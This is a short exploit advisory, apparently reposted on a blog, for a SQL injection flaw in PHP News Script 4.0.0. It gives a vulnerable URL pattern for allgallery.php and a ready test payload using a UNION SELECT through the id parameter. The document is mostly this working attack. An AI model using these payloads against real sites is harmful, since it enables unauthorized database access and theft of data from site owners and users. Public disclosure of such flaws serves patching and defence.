[Exploit] PHP News Script 4.0.0 - SQL Injection

1 2 3 4 5 6 7 8 9 10 11 12

# Exploit Title: PHP News Script 4.0.0 Sql Injection # Date: 2015-08-01 # Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com # Vendor Homepage: http://phpnewsscript.com/ # Version: 4.0.0 # Tested on: CentOS   Exploit : http://server/allgallery.php?id=-9999%27+[sql-command]+%23   Test : http://server/demo/allgallery.php?id=-100%27+union+select+user()%23

- See more at: http://tungngo-it.blogspot.com/2015/08/exploit-php-news-script-400-sql.html#sthash.cbPLEtGM.dpuf

Tech360vn - MXH

→

Tweet

SHARE IT →